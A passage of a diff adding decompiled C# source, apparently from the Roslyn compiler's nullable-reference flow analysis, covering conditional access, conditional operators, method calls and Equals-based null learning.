+ BoundNullCoalescingOperatorResultKind.RightDynamicType => (type2, NullableFlowState.NotNull), + _ => throw ExceptionUtilities.UnexpectedValue((object)node.OperatorResultKind), + }; + SetResultType(node, TypeWithState.Create(type3, resultType3.State.Join(b))); + return null; + (TypeSymbol ResultType, NullableFlowState LeftState) getLeftResultType(TypeSymbol leftType, TypeSymbol rightType) + { + BoundConversion obj = node.RightOperand as BoundConversion; + if ((obj == null || obj.ExplicitCastInCode) && GenerateConversionForConditionalOperator(node.LeftOperand, leftType, rightType, reportMismatch: false, node.Checked).Exists) + { + return (ResultType: rightType, LeftState: NullableFlowState.NotNull); + } + Conversion conversion = GenerateConversionForConditionalOperator(node.RightOperand, rightType, leftType, reportMismatch: true, node.Checked); + return (ResultType: leftType, LeftState: NullableFlowState.NotNull); + } + (TypeSymbol ResultType, NullableFlowState LeftState) getResultStateWithRightType(TypeSymbol leftType, TypeSymbol rightType) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + Conversion conversion = GenerateConversionForConditionalOperator(node.LeftOperand, leftType, rightType, reportMismatch: true, node.Checked); + if (conversion.IsUserDefined) + { + TypeWithState typeWithState = VisitConversion(null, node.LeftOperand, conversion, TypeWithAnnotations.Create(rightType), TypeWithState.Create(leftType, NullableFlowState.NotNull), checkConversion: false, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment, null, reportTopLevelWarnings: false, reportRemainingWarnings: false); + return (ResultType: typeWithState.Type, LeftState: typeWithState.State); + } + return (ResultType: rightType, LeftState: NullableFlowState.NotNull); + } + } + + private bool TryVisitConditionalAccess(BoundExpression node, out PossiblyConditionalState stateWhenNotNull) + { + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + var (boundExpression, conversion) = RemoveConversion(node, includeExplicitConversions: true); + if (!(boundExpression is BoundConditionalAccess boundConditionalAccess) || !AbstractFlowPass.CanPropagateStateWhenNotNull(conversion)) + { + stateWhenNotNull = default(PossiblyConditionalState); + return false; + } + Unsplit(); + VisitConditionalAccess(boundConditionalAccess, out stateWhenNotNull); + if (node is BoundConversion boundConversion) + { + TypeWithState resultType = ResultType; + TypeWithAnnotations typeWithAnnotations = boundConversion.ConversionGroupOpt?.ExplicitType ?? default(TypeWithAnnotations); + bool hasType = typeWithAnnotations.HasType; + TypeWithAnnotations targetTypeWithNullability = (hasType ? typeWithAnnotations : TypeWithAnnotations.Create(boundConversion.Type)); + TypeWithState type = VisitConversion(boundConversion, boundConditionalAccess, conversion, targetTypeWithNullability, resultType, checkConversion: true, hasType, useLegacyWarnings: true, AssignmentKind.Assignment); + SetResultType(boundConversion, type); + } + return true; + } + + private bool VisitPossibleConditionalAccess(BoundExpression node, out PossiblyConditionalState stateWhenNotNull) + { + if (TryVisitConditionalAccess(node, out stateWhenNotNull)) + { + return true; + } + Visit(node); + stateWhenNotNull = PossiblyConditionalState.Create(this); + node = RemoveConversion(node, includeExplicitConversions: true).expression; + int num = MakeSlot(node); + if (num > -1) + { + if (IsConditionalState) + { + LearnFromNonNullTest(num, ref stateWhenNotNull.StateWhenTrue); + LearnFromNonNullTest(num, ref stateWhenNotNull.StateWhenFalse); + } + else + { + LearnFromNonNullTest(num, ref stateWhenNotNull.State); + } + } + return false; + } + + private void VisitConditionalAccess(BoundConditionalAccess node, out PossiblyConditionalState stateWhenNotNull) + { + BoundExpression receiver = node.Receiver; + VisitPossibleConditionalAccess(receiver, out stateWhenNotNull); + Unsplit(); + _currentConditionalReceiverVisitResult = _visitResult; + int lastConditionalAccessSlot = _lastConditionalAccessSlot; + ConstantValue constantValueOpt = receiver.ConstantValueOpt; + if (constantValueOpt != null && !constantValueOpt.IsNull) + { + VisitPossibleConditionalAccess(node.AccessExpression, out stateWhenNotNull); + } + else + { + LocalState state = State.Clone(); + if (AbstractFlowPass.IsConstantNull(receiver)) + { + SetUnreachable(); + _lastConditionalAccessSlot = -1; + } + else + { + LearnFromNullTest(receiver, ref state); + makeAndAdjustReceiverSlot(receiver); + SetPossiblyConditionalState(in stateWhenNotNull); + } + BoundExpression accessExpression; + for (accessExpression = node.AccessExpression; accessExpression is BoundConditionalAccess boundConditionalAccess; accessExpression = boundConditionalAccess.AccessExpression) + { + VisitRvalue(boundConditionalAccess.Receiver); + _currentConditionalReceiverVisitResult = _visitResult; + makeAndAdjustReceiverSlot(boundConditionalAccess.Receiver); + Join(ref state, ref State); + } + Visit(accessExpression); + for (accessExpression = node.AccessExpression; accessExpression is BoundConditionalAccess boundConditionalAccess2; accessExpression = boundConditionalAccess2.AccessExpression) + { + SetAnalyzedNullability(boundConditionalAccess2, _visitResult); + } + int num = MakeSlot(accessExpression); + if (num > -1) + { + if (IsConditionalState) + { + LearnFromNonNullTest(num, ref StateWhenTrue); + LearnFromNonNullTest(num, ref StateWhenFalse); + } + else + { + LearnFromNonNullTest(num, ref State); + } + } + stateWhenNotNull = PossiblyConditionalState.Create(this); + Unsplit(); + Join(ref State, ref state); + } + TypeWithAnnotations lvalueResultType = LvalueResultType; + TypeSymbol type = lvalueResultType.Type; + TypeSymbol type2 = node.Type; + TypeSymbol type3 = ((type2.IsVoidType() || type2.IsErrorType()) ? type2 : ((type2.IsNullableType() && !type.IsNullableType()) ? MakeNullableOf(lvalueResultType) : type)); + SetResultType(node, TypeWithState.Create(type3, NullableFlowState.MaybeDefault)); + _currentConditionalReceiverVisitResult = default(VisitResult); + _lastConditionalAccessSlot = lastConditionalAccessSlot; + void makeAndAdjustReceiverSlot(BoundExpression boundExpression) + { + int num2 = MakeSlot(boundExpression); + if (num2 > -1) + { + LearnFromNonNullTest(num2, ref State); + } + if (num2 > 0) + { + TypeSymbol? type4 = boundExpression.Type; + if ((object)type4 != null && type4.IsNullableType()) + { + num2 = GetNullableOfTValueSlot(boundExpression.Type, num2, out Symbol _); + } + } + _lastConditionalAccessSlot = num2; + } + } + + public override BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + VisitConditionalAccess(node, out var _); + return null; + } + + protected override BoundNode? VisitConditionalOperatorCore(BoundExpression node, bool isRef, BoundExpression condition, BoundExpression originalConsequence, BoundExpression originalAlternative) + { + //IL_01e4: Unknown result type (might be due to invalid IL or missing references) + //IL_01e9: Unknown result type (might be due to invalid IL or missing references) + VisitCondition(condition); + LocalState stateWhenTrue = StateWhenTrue; + LocalState stateWhenFalse = StateWhenFalse; + TypeWithState item2; + TypeWithState typeWithState; + if (isRef) + { + (TypeWithAnnotations LValueType, TypeWithState RValueType) tuple = visitConditionalRefOperand(stateWhenTrue, originalConsequence); + TypeWithAnnotations item = tuple.LValueType; + item2 = tuple.RValueType; + stateWhenTrue = State; + TypeWithAnnotations typeWithAnnotations; + (typeWithAnnotations, typeWithState) = visitConditionalRefOperand(stateWhenFalse, originalAlternative); + Join(ref State, ref stateWhenTrue); + TypeSymbol typeSymbol = node.Type?.SetUnknownNullabilityForReferenceTypes(); + if (IsNullabilityMismatch(item, typeWithAnnotations)) + { + ReportNullabilityMismatchInAssignment(node.Syntax, item, typeWithAnnotations); + } + else if (!node.HasErrors) + { + typeSymbol = item2.Type.MergeEquivalentTypes(typeWithState.Type, (VarianceKind)0); + } + NullableAnnotation nullableAnnotation = item.NullableAnnotation.EnsureCompatible(typeWithAnnotations.NullableAnnotation); + NullableFlowState defaultState = item2.State.Join(typeWithState.State); + SetResult(node, TypeWithState.Create(typeSymbol, defaultState), TypeWithAnnotations.Create(typeSymbol, nullableAnnotation)); + return null; + } + (BoundExpression, Conversion, TypeWithState) tuple3 = visitConditionalOperand(stateWhenTrue, originalConsequence); + BoundExpression item3 = tuple3.Item1; + Conversion item4 = tuple3.Item2; + item2 = tuple3.Item3; + PossiblyConditionalState conditionalState = PossiblyConditionalState.Create(this); + stateWhenTrue = CloneAndUnsplit(ref conditionalState); + bool reachable = stateWhenTrue.Reachable; + (BoundExpression, Conversion, TypeWithState) tuple4 = visitConditionalOperand(stateWhenFalse, originalAlternative); + BoundExpression item5 = tuple4.Item1; + Conversion item6 = tuple4.Item2; + typeWithState = tuple4.Item3; + PossiblyConditionalState conditionalState2 = PossiblyConditionalState.Create(this); + stateWhenFalse = CloneAndUnsplit(ref conditionalState2); + bool reachable2 = stateWhenFalse.Reachable; + SetPossiblyConditionalState(in conditionalState); + Join(ref conditionalState2); + bool flag = node is BoundConditionalOperator boundConditionalOperator && boundConditionalOperator.WasTargetTyped; + TypeSymbol typeSymbol2; + if (node.HasErrors || flag) + { + typeSymbol2 = null; + } + else + { + BoundExpression expr = CreatePlaceholderIfNecessary(item3, item2.ToTypeWithAnnotations(compilation)); + BoundExpression expr2 = CreatePlaceholderIfNecessary(item5, typeWithState.ToTypeWithAnnotations(compilation)); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + typeSymbol2 = BestTypeInferrer.InferBestTypeForConditionalOperator(expr, expr2, _conversions, out var _, ref useSiteInfo); + } + if ((object)typeSymbol2 == null) + { + typeSymbol2 = node.Type?.SetUnknownNullabilityForReferenceTypes(); + } + TypeWithAnnotations resultTypeWithAnnotations; + if ((object)typeSymbol2 == null) + { + if (!flag) + { + SetResultType(node, TypeWithState.Create(typeSymbol2, NullableFlowState.NotNull)); + return null; + } + resultTypeWithAnnotations = default(TypeWithAnnotations); + } + else + { + resultTypeWithAnnotations = TypeWithAnnotations.Create(typeSymbol2); + } + TypeWithState type = convertArms(node, originalConsequence, originalAlternative, stateWhenTrue, stateWhenFalse, item2, typeWithState, item3, item4, reachable, item5, item6, reachable2, resultTypeWithAnnotations, flag); + SetResultType(node, type, updateAnalyzedNullability: false); + return null; + void addConvertArmsAsCompletion(BoundExpression boundExpression, BoundExpression originalConsequence2, BoundExpression originalAlternative2, LocalState consequenceState, LocalState alternativeState, TypeWithState consequenceRValue, TypeWithState alternativeRValue, BoundExpression consequence, Conversion consequenceConversion, bool consequenceEndReachable, BoundExpression alternative, Conversion alternativeConversion, bool alternativeEndReachable) + { + ((Dictionary>)(object)TargetTypedAnalysisCompletion)[boundExpression] = (TypeWithAnnotations resultTypeWithAnnotations2) => convertArms(boundExpression, originalConsequence2, originalAlternative2, consequenceState, alternativeState, consequenceRValue, alternativeRValue, consequence, consequenceConversion, consequenceEndReachable, alternative, alternativeConversion, alternativeEndReachable, resultTypeWithAnnotations2, wasTargetTyped: false); + } + TypeWithState convertArms(BoundExpression boundExpression3, BoundExpression boundExpression, BoundExpression boundExpression2, LocalState consequenceState, LocalState alternativeState, TypeWithState consequenceRValue, TypeWithState alternativeRValue, BoundExpression consequence, Conversion consequenceConversion, bool consequenceEndReachable, BoundExpression alternative, Conversion alternativeConversion, bool alternativeEndReachable, TypeWithAnnotations targetType, bool wasTargetTyped) + { + NullableFlowState defaultState2; + if (!wasTargetTyped) + { + TypeWithState typeWithState2 = ConvertConditionalOperandOrSwitchExpressionArmResult(boundExpression, consequence, consequenceConversion, targetType, consequenceRValue, consequenceState, consequenceEndReachable); + TypeWithState typeWithState3 = ConvertConditionalOperandOrSwitchExpressionArmResult(boundExpression2, alternative, alternativeConversion, targetType, alternativeRValue, alternativeState, alternativeEndReachable); + defaultState2 = typeWithState2.State.Join(typeWithState3.State); + TypeWithState typeWithState4 = TypeWithState.Create(targetType.Type, defaultState2); + SetAnalyzedNullability(boundExpression3, typeWithState4); + return typeWithState4; + } + addConvertArmsAsCompletion(boundExpression3, boundExpression, boundExpression2, consequenceState, alternativeState, consequenceRValue, alternativeRValue, consequence, consequenceConversion, consequenceEndReachable, alternative, alternativeConversion, alternativeEndReachable); + defaultState2 = consequenceRValue.State.Join(alternativeRValue.State); + return TypeWithState.Create(targetType.Type, defaultState2); + } + (BoundExpression, Conversion, TypeWithState) visitConditionalOperand(LocalState state, BoundExpression operand) + { + SetState(state); + var (boundExpression, item7) = RemoveConversion(operand, includeExplicitConversions: false); + SnapshotWalkerThroughConversionGroup(operand, boundExpression); + Visit(boundExpression); + return (boundExpression, item7, ResultType); + } + (TypeWithAnnotations LValueType, TypeWithState RValueType) visitConditionalRefOperand(LocalState state, BoundExpression operand) + { + SetState(state); + return (LValueType: VisitLvalueWithAnnotations(operand), RValueType: ResultType); + } + } + + private TypeWithState ConvertConditionalOperandOrSwitchExpressionArmResult(BoundExpression node, BoundExpression operand, Conversion conversion, TypeWithAnnotations targetType, TypeWithState operandType, LocalState state, bool isReachable) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + PossiblyConditionalState conditionalState = PossiblyConditionalState.Create(this); + SetState(state); + bool disableDiagnostics = _disableDiagnostics; + if (!isReachable) + { + _disableDiagnostics = true; + } + TypeWithState result = VisitConversion(GetConversionIfApplicable(node, operand), operand, conversion, targetType, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment, null, reportTopLevelWarnings: false); + if (!isReachable) + { + result = default(TypeWithState); + _disableDiagnostics = disableDiagnostics; + } + SetPossiblyConditionalState(in conditionalState); + return result; + } + + private bool IsReachable() + { + if (!IsConditionalState) + { + return State.Reachable; + } + if (!StateWhenTrue.Reachable) + { + return StateWhenFalse.Reachable; + } + return true; + } + + private static BoundExpression CreatePlaceholderIfNecessary(BoundExpression expr, TypeWithAnnotations type) + { + if (type.HasType) + { + return new BoundExpressionWithNullability(expr.Syntax, expr, type.NullableAnnotation, type.Type); + } + return expr; + } + + public override BoundNode? VisitConditionalReceiver(BoundConditionalReceiver node) + { + TypeSymbol typeSymbol = _currentConditionalReceiverVisitResult.RValueType.Type; + if ((object)typeSymbol != null && typeSymbol.IsNullableType()) + { + typeSymbol = typeSymbol.GetNullableUnderlyingType(); + } + SetResultType(node, TypeWithState.Create(typeSymbol, NullableFlowState.NotNull)); + return null; + } + + public override BoundNode? VisitCall(BoundCall node) + { + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + if (tryGetReceiver(node, out var receiver)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = receiver; + bool expressionIsRead = _expressionIsRead; + _expressionIsRead = true; + BoundCall receiver2; + while (tryGetReceiver(node, out receiver2)) + { + TakeIncrementalSnapshot(node); + ArrayBuilderExtensions.Push(instance, node); + node = receiver2; + } + TakeIncrementalSnapshot(node); + TypeWithState receiverType = visitAndCheckReceiver(node); + VisitArgumentResult? firstArgumentResult = null; + while (true) + { + ReinferMethodAndVisitArguments(node, receiverType, firstArgumentResult); + receiver = node; + if (!ArrayBuilderExtensions.TryPop(instance, ref node)) + { + break; + } + VisitExpressionWithoutStackGuardEpilogue(receiver); + if (node.ReceiverOpt != null) + { + VisitRvalueEpilogue(receiver); + receiverType = ResultType; + CheckCallReceiver(receiver, receiverType, node.Method); + firstArgumentResult = null; + } + else + { + RefKind refKind = AbstractFlowPass.GetRefKind(node.ArgumentRefKindsOpt, 0); + FlowAnalysisAnnotations item = GetCorrespondingParameter(0, node.Method.Parameters, node.ArgsToParamsOpt, node.Expanded).Annotations; + firstArgumentResult = VisitArgumentEvaluateEpilogue(receiver, default(Optional), refKind, item); + receiverType = default(TypeWithState); + } + } + _expressionIsRead = expressionIsRead; + instance.Free(); + } + else + { + TypeWithState receiverType2 = visitAndCheckReceiver(node); + ReinferMethodAndVisitArguments(node, receiverType2); + } + return null; + bool tryGetReceiver(BoundCall boundCall2, [MaybeNullWhen(false)] out BoundCall reference) + { + if (boundCall2.ReceiverOpt is BoundCall boundCall) + { + reference = boundCall; + return true; + } + if (boundCall2.InvokedAsExtensionMethod) + { + ImmutableArray arguments = boundCall2.Arguments; + if (arguments.Length >= 1 && arguments[0] is BoundCall boundCall3 && !VisitArgumentEvaluateNeedsCloningState(boundCall3)) + { + reference = boundCall3; + return true; + } + } + reference = null; + return false; + } + TypeWithState visitAndCheckReceiver(BoundCall boundCall) + { + TypeWithState typeWithState = default(TypeWithState); + BoundExpression receiverOpt = boundCall.ReceiverOpt; + if (receiverOpt != null) + { + typeWithState = VisitRvalueWithState(receiverOpt); + CheckCallReceiver(receiverOpt, typeWithState, boundCall.Method); + } + return typeWithState; + } + } + + private void ReinferMethodAndVisitArguments(BoundCall node, TypeWithState receiverType, VisitArgumentResult? firstArgumentResult = null) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = node.Method; + ImmutableArray argumentRefKindsOpt = node.ArgumentRefKindsOpt; + if (!receiverType.HasNullType) + { + methodSymbol = (MethodSymbol)AsMemberOfType(receiverType.Type, methodSymbol); + } + ImmutableArray results; + bool flag; + (methodSymbol, results, flag) = VisitArguments(node, node.Arguments, argumentRefKindsOpt, methodSymbol.Parameters, node.ArgsToParamsOpt, node.DefaultArguments, node.Expanded, node.InvokedAsExtensionMethod, methodSymbol, firstArgumentResult); + ApplyMemberPostConditions(node.ReceiverOpt, methodSymbol); + LearnFromEqualsMethod(methodSymbol, node, receiverType, results); + TypeWithState resultType = GetReturnTypeWithState(methodSymbol); + if (flag) + { + resultType = resultType.WithNotNullState(); + } + SetResult(node, resultType, methodSymbol.ReturnTypeWithAnnotations); + SetUpdatedSymbol(node, node.Method, methodSymbol); + } + + private void LearnFromEqualsMethod(MethodSymbol method, BoundCall node, TypeWithState receiverType, ImmutableArray results) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + int parameterCount = method.ParameterCount; + ImmutableArray arguments = node.Arguments; + if (node.HasErrors || (parameterCount != 1 && parameterCount != 2) || parameterCount != arguments.Length || (int)method.MethodKind != 10 || (int)method.ReturnType.SpecialType != 7 || (method.Name != SpecialMembers.GetDescriptor((SpecialMember)98).Name && method.Name != SpecialMembers.GetDescriptor((SpecialMember)101).Name && !anyOverriddenMethodHasExplicitImplementation(method))) + { + return; + } + if (method.Equals(compilation.GetSpecialTypeMember((SpecialMember)99)) || method.Equals(compilation.GetSpecialTypeMember((SpecialMember)101)) || isWellKnownEqualityMethodOrImplementation(compilation, method, receiverType.Type, (WellKnownMember)56)) + { + learnFromEqualsMethodArguments(arguments[0], results[0].RValueType, arguments[1], results[1].RValueType); + return; + } + bool flag = method.GetLeastOverriddenMethod(null).Equals(compilation.GetSpecialTypeMember((SpecialMember)98)); + BoundExpression receiverOpt = node.ReceiverOpt; + if (receiverOpt != null && (flag || isWellKnownEqualityMethodOrImplementation(compilation, method, receiverType.Type, (WellKnownMember)55))) + { + learnFromEqualsMethodArguments(receiverOpt, receiverType, arguments[0], results[0].RValueType); + } + static bool anyOverriddenMethodHasExplicitImplementation(MethodSymbol methodSymbol2) + { + MethodSymbol methodSymbol = methodSymbol2; + while ((object)methodSymbol != null) + { + if (methodSymbol.IsExplicitInterfaceImplementation) + { + return true; + } + methodSymbol = methodSymbol.OverriddenMethod; + } + return false; + } + static bool isWellKnownEqualityMethodOrImplementation(CSharpCompilation compilation, MethodSymbol overriddenMethod, TypeSymbol? typeSymbol, WellKnownMember wellKnownMember) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = (MethodSymbol)compilation.GetWellKnownTypeMember(wellKnownMember); + if ((object)methodSymbol == null || (object)typeSymbol == null) + { + return false; + } + NamedTypeSymbol containingType = methodSymbol.ContainingType; + TypeWithAnnotations typeWithAnnotations = overriddenMethod.Parameters[0].TypeWithAnnotations; + NamedTypeSymbol newOwner = containingType.Construct(ImmutableArray.Create(typeWithAnnotations)); + MethodSymbol methodSymbol2 = methodSymbol.AsMember(newOwner); + if (methodSymbol2.Equals(overriddenMethod)) + { + return true; + } + TypeSymbol typeSymbol2 = typeSymbol; + while ((object)typeSymbol2 != null && (object)overriddenMethod != null) + { + Symbol symbol = typeSymbol2.FindImplementationForInterfaceMember(methodSymbol2); + if ((object)symbol == null) + { + return false; + } + if (symbol.ContainingType.IsInterface) + { + return false; + } + MethodSymbol methodSymbol3 = overriddenMethod; + while ((object)methodSymbol3 != null) + { + if (methodSymbol3.Equals(symbol)) + { + return true; + } + methodSymbol3 = methodSymbol3.OverriddenMethod; + } + while (!typeSymbol2.Equals(symbol.ContainingType) && (object)overriddenMethod != null) + { + if (typeSymbol2.Equals(overriddenMethod.ContainingType)) + { + overriddenMethod = overriddenMethod.OverriddenMethod; + } + typeSymbol2 = typeSymbol2.BaseTypeNoUseSiteDiagnostics; + } + if ((object)overriddenMethod != null && typeSymbol2.Equals(overriddenMethod.ContainingType)) + { + overriddenMethod = overriddenMethod.OverriddenMethod; + } + typeSymbol2 = typeSymbol2.BaseTypeNoUseSiteDiagnostics; + } + return false; + } + void learnFromEqualsMethodArguments(BoundExpression left, TypeWithState leftType, BoundExpression right, TypeWithState rightType) + { + ConstantValue? constantValueOpt = left.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsNull) + { + Split(); + LearnFromNullTest(right, ref StateWhenTrue); + LearnFromNonNullTest(right, ref StateWhenFalse); + } + else + { + ConstantValue? constantValueOpt2 = right.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.IsNull) + { + Split(); + LearnFromNullTest(left, ref StateWhenTrue); + LearnFromNonNullTest(left, ref StateWhenFalse); + } + else if (leftType.MayBeNull && rightType.IsNotNull) + { + Split(); + LearnFromNonNullTest(left, ref StateWhenTrue); + } + else if (rightType.MayBeNull && leftType.IsNotNull) + { + Split(); + LearnFromNonNullTest(right, ref StateWhenTrue); + } + } + } + } + + private bool IsCompareExchangeMethod(MethodSymbol? method) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if ((object)method == null) + { + return false; + } + if (!method.Equals(compilation.GetWellKnownTypeMember((WellKnownMember)140), SymbolEqualityComparer.ConsiderEverything.CompareKind)) + { + return method.OriginalDefinition.Equals(compilation.GetWellKnownTypeMember((WellKnownMember)141), SymbolEqualityComparer.ConsiderEverything.CompareKind); + } + return true; + } + + private NullableFlowState LearnFromCompareExchangeMethod(in CompareExchangeInfo compareExchangeInfo) + { + if (compareExchangeInfo.Arguments.Length != 3) + { + return NullableFlowState.NotNull; + } + ImmutableArray argsToParamsOpt = compareExchangeInfo.ArgsToParamsOpt; + int index; + int index2; + int index3; + if (!argsToParamsOpt.IsDefault) + { + int num = argsToParamsOpt.IndexOf(2); + int num2 = argsToParamsOpt.IndexOf(1); + int num3 = argsToParamsOpt.IndexOf(0); + index = num3; + index2 = num2; + index3 = num; + } + else + { + index3 = 2; + index2 = 1; + index = 0; + } + BoundExpression boundExpression = compareExchangeInfo.Arguments[index3]; + NullableFlowState nullableFlowState = compareExchangeInfo.Results[index2].RValueType.State; + ConstantValue? constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt == null || !constantValueOpt.IsNull) + { + NullableFlowState state = compareExchangeInfo.Results[index].RValueType.State; + nullableFlowState = nullableFlowState.Join(state); + } + return nullableFlowState; + } + + private void CheckCallReceiver(BoundExpression? receiverOpt, TypeWithState receiverType, MethodSymbol method) + { + bool checkNullableValueType = false; + TypeSymbol type = receiverType.Type; + if (method.RequiresInstanceReceiver && (object)type != null && type.IsNullableType() && method.ContainingType.IsReferenceType) + { + checkNullableValueType = true; + } + else if (method.OriginalDefinition == compilation.GetSpecialTypeMember((SpecialMember)115)) + { + checkNullableValueType = true; + } + CheckPossibleNullReceiver(receiverOpt, receiverType, checkNullableValueType); + } + + private TypeWithState GetReturnTypeWithState(MethodSymbol method) + { + return TypeWithState.Create(method.ReturnTypeWithAnnotations, GetRValueAnnotations(method)); + } + + private FlowAnalysisAnnotations GetRValueAnnotations(Symbol? symbol) + { + if (IsAnalyzingAttribute) + { + return FlowAnalysisAnnotations.None; + } + return symbol.GetFlowAnalysisAnnotations() & (FlowAnalysisAnnotations.MaybeNull | FlowAnalysisAnnotations.NotNull); + } + + private FlowAnalysisAnnotations GetParameterAnnotations(ParameterSymbol parameter) + { + if (!IsAnalyzingAttribute) + { + return parameter.FlowAnalysisAnnotations; + } + return FlowAnalysisAnnotations.None; + } + + private static TypeWithAnnotations ApplyLValueAnnotations(TypeWithAnnotations declaredType, FlowAnalysisAnnotations flowAnalysisAnnotations) + { + if ((flowAnalysisAnnotations & FlowAnalysisAnnotations.DisallowNull) == FlowAnalysisAnnotations.DisallowNull) + { + return declaredType.AsNotAnnotated(); + } + if ((flowAnalysisAnnotations & FlowAnalysisAnnotations.AllowNull) == FlowAnalysisAnnotations.AllowNull) + { + return declaredType.AsAnnotated(); + } + return declaredType; + } + + private static TypeWithState ApplyUnconditionalAnnotations(TypeWithState typeWithState, FlowAnalysisAnnotations annotations) + { + if ((annotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull) + { + return TypeWithState.Create(typeWithState.Type, NullableFlowState.NotNull); + } + if ((annotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNull) + { + return TypeWithState.Create(typeWithState.Type, NullableFlowState.MaybeDefault); + } + return typeWithState; + } + + private static TypeWithAnnotations ApplyUnconditionalAnnotations(TypeWithAnnotations declaredType, FlowAnalysisAnnotations annotations) + { + if ((annotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNull) + { + return declaredType.AsAnnotated(); + } + if ((annotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull) + { + return declaredType.AsNotAnnotated(); + } + return declaredType; + } + + private static bool HasImplicitTypeArguments(BoundNode node) + { + if (node is BoundCollectionElementInitializer boundCollectionElementInitializer) + { + MethodSymbol addMethod = boundCollectionElementInitializer.AddMethod; + if ((object)addMethod != null && !addMethod.TypeArgumentsWithAnnotations.IsEmpty) + { + return true; + } + } + if (node is BoundForEachStatement boundForEachStatement) + { + ForEachEnumeratorInfo enumeratorInfoOpt = boundForEachStatement.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null) + { + MethodArgumentInfo getEnumeratorInfo = enumeratorInfoOpt.GetEnumeratorInfo; + if ((object)getEnumeratorInfo != null) + { + MethodSymbol addMethod = getEnumeratorInfo.Method; + if ((object)addMethod != null && !addMethod.TypeArgumentsWithAnnotations.IsEmpty) + { + return true; + } + } + } + } + SyntaxNode syntax = node.Syntax; + if (syntax.Kind() != SyntaxKind.InvocationExpression) + { + return false; + } + return HasImplicitTypeArguments((SyntaxNode)(object)((InvocationExpressionSyntax)(object)syntax).Expression); + } + + private static bool HasImplicitTypeArguments(SyntaxNode syntax) + { + NameSyntax nameSyntax = Binder.GetNameSyntax(syntax, out var _); + if (nameSyntax == null) + { + return false; + } + nameSyntax = nameSyntax.GetUnqualifiedName(); + return nameSyntax.Kind() != SyntaxKind.GenericName; + } + + protected override void VisitArguments(ImmutableArray arguments, ImmutableArray refKindsOpt, MethodSymbol method) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 6316); + } + + private (MethodSymbol? method, ImmutableArray results, bool returnNotNull) VisitArguments(BoundExpression node, ImmutableArray arguments, ImmutableArray refKindsOpt, MethodSymbol? method, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool expanded, bool invokedAsExtensionMethod) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return VisitArguments(node, arguments, refKindsOpt, method?.Parameters ?? default(ImmutableArray), argsToParamsOpt, defaultArguments, expanded, invokedAsExtensionMethod, method); + } + + private ImmutableArray VisitArguments(BoundExpression node, ImmutableArray arguments, ImmutableArray refKindsOpt, PropertySymbol? property, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool expanded) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return VisitArguments(node, arguments, refKindsOpt, property?.Parameters ?? default(ImmutableArray), argsToParamsOpt, defaultArguments, expanded, invokedAsExtensionMethod: false).results; + } + + private (MethodSymbol? method, ImmutableArray results, bool returnNotNull) VisitArguments(BoundNode node, ImmutableArray arguments, ImmutableArray refKindsOpt, ImmutableArray parametersOpt, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool expanded, bool invokedAsExtensionMethod, MethodSymbol? method = null, VisitArgumentResult? firstArgumentResult = null) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + (MethodSymbol, ImmutableArray, bool, ArgumentsCompletionDelegate) tuple = VisitArguments(node, arguments, refKindsOpt, parametersOpt, argsToParamsOpt, defaultArguments, expanded, invokedAsExtensionMethod, method, delayCompletionForTargetMember: false, firstArgumentResult); + return (method: tuple.Item1, results: tuple.Item2, returnNotNull: tuple.Item3); + } + + private (MethodSymbol? method, ImmutableArray results, bool returnNotNull, ArgumentsCompletionDelegate? completion) VisitArguments(BoundNode node, ImmutableArray arguments, ImmutableArray refKindsOpt, ImmutableArray parametersOpt, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool expanded, bool invokedAsExtensionMethod, MethodSymbol? method, bool delayCompletionForTargetMember, VisitArgumentResult? firstArgumentResult = null) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + (ImmutableArray arguments, ImmutableArray conversions) tuple = RemoveArgumentConversions(arguments, refKindsOpt); + ImmutableArray item = tuple.arguments; + ImmutableArray item2 = tuple.conversions; + ImmutableArray results = 